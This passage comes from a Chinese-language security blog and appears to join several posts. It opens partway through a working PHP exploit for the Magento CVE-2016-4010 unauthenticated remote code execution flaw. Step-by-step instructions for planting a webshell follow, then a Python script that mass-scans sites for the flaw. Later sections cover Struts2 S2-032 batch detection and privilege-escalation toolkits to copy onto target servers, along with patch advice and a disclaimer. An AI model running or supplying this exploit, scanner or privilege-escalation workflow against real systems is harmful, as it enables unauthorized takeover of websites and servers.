$payload->paymentMethod->additional_data->additional_information = str_replace('Magento_Framework_DB_Transaction', 'Magento\\Framework\\DB\\Transaction', str_replace('Magento_Sales_Model_Order_Payment_Transaction', 'Magento\\Sales\\Model\\Order\\Payment\\Transaction', str_replace('Magento_Framework_Simplexml_Config_Cache_File', 'Magento\\Framework\\Simplexml\\Config\\Cache\\File', $serialized)));

for($i=0; $i<2; $i++){
    $c = curl_init($argv[1].'/rest/V1/guest-carts/'.$argv[2].'/set-payment-information');
    curl_setopt($c, CURLOPT_HTTPHEADER, array('Content-Type: application/json'));
    curl_setopt($c, CURLOPT_POSTFIELDS, json_encode($payload));
    curl_exec($c);
    curl_close($c);
}

?>

利用方法如下:

1. 找到有漏洞的Magento网站

Magento版本在线检查:http://magentoversion.com/

2. 添加一个商品进入购物车

3. 进入购物车点击“结算”

4. 填写邮寄地址并查看POST请求/rest/default/V1/guest-carts/[guestCartId]/shipping-information并获取[guestCartID]

5. 保存上面的exp为magento_exp.php并执行:php magento_exp.php [Magento_URL] [guestCartID] ([webshell写入路径]) 

批量检测

经过对上面exp的研究发现该利用需要满足下面几个条件:

1. 目标站点的Magento版本需要小于2.0.6且开启了REST API

2. 目标站点首页需要存在下面这段JS

因此,写了一个简单的批量验证脚本来配合上面的exp进行利用:

#!/usr/bin/env python

import urllib
import sys
import socket
timeout = 5
socket.setdefaulttimeout(timeout)

input = sys.argv[1]  #包含Magento站点的URL的文件
output = sys.argv[2] #结果的保存文件,可以为:output.txt

def logFile(str):
	f = open(output,'a')
	f.write(str+"\n")
	f.close()

def checkVul(url):
	try:
		html = urllib.urlopen(url).read()
		if "guest-carts" in html:
			print url,"is vulnerable!"
			logFile(url)
		else:
			print url,"is not vulnerable!"
	except Exception:
		pass

if __name__ == '__main__':
	inp = open(input,'r')
	for i in inp:
		url=i.strip()
		#print url
		checkVul(url)
	print "All Done!"

执行效果:

0x03 防御

升级Magento到最新版(2.0.6),下载地址: https://www.magentocommerce.com/download

参考

https://github.com/brianwrf/Magento-CVE-2016-4010/blob/master/README.md

http://netanelrub.in/2016/05/17/magento-unauthenticated-remote-code-execution/

https://www.exploit-db.com/exploits/39838/

Apache Struts2(S02-032)远程代码执行之批量检测

0x00 背景

近日,Apache公布了Strut2的又一远程代码执行漏洞S2-032。随之,各种poc和exp开始出现在各大论坛和QQ群。新一轮的腥风血雨即将开始!

0x01 分析

主要原因为在用户开启动态方法调用的情况下,会被攻击者实现远程代码执行攻击。具体分析如下:

http://seclab.dbappsecurity.com.cn/?p=924

http://blog.nsfocus.net/tech/技术分享/2016/04/26/Struts2方法调用远程代码执行漏洞-CVE-2016-3081-分析.html

https://www.seebug.org/vuldb/ssvid-91389

0x02 利用

网传的各种poc和exp如下:

http://zone.wooyun.org/content/26856

http://zone.wooyun.org/content/26862

http://www.shack2.org/article/1374154000.html

为了更深层次的了解这个漏洞的危害,笔者也“跟风”地写了一个批量检测的小工具,如下图:

工具下载地址:https://github.com/brianwrf/hackUtils

0x03 解决方案

1)禁用动态方法调用:

修改 Struts2 的配置文件,将“struts.enable.DynamicMethodInvocation” 设置为 false,如

<constant name=”struts.enable.DynamicMethodInvocation” value=”false” />;

2)如条件允许前提下,可升级 Struts 版本至 Struts 2.3.20.2,Struts 2.3.24.2 或者 Struts 2.3.28.1 来修复漏洞,新版本下载地址:https://struts.apache.org/download.cgi#struts2328

声明:本工具仅供学习交流,任何人不得用于非法目的或者入侵他人网站,否则一切后果自负,与本人无关!

本地提权工具箱

0x01 背景

在我们平时渗透的过程中经常会遇到需要提权的情况,本文将介绍一些方便大家在Windows和Linux进行提权的工具。

0x02 本地提权之Windows

本工具适合在任何Windows服务器上进行已知提权漏洞的检测以及相应的提权EXP下载。

工具地址:https://github.com/brianwrf/WinSystemHelper

使用方法:

1. 拷贝WinSysHelper.bat, explt2003.txt和expgt2003.txt文件至目标Windows服务器上

2. 命令行下运行WinSysHelper.bat执行检测

3. 按照提示下载EXP进行提权

0x03 本地提权之Linux

本工具适合在任何Linux服务器上进行已知提权漏洞的检测以及相应的提权EXP下载。

工具地址: https://github.com/brianwrf/RootHelper

使用方法:

1. 拷贝脚本roothelper.sh至目标Linux服务器上

2. 添加执行权限并执行./roothelper.sh

3. 按照提示命令,下载提权EXP进行本地提权

声明:本工具具有一定的攻击性,仅供学习,请确保在已授权的服务器上进行操作,否则一切后果自负。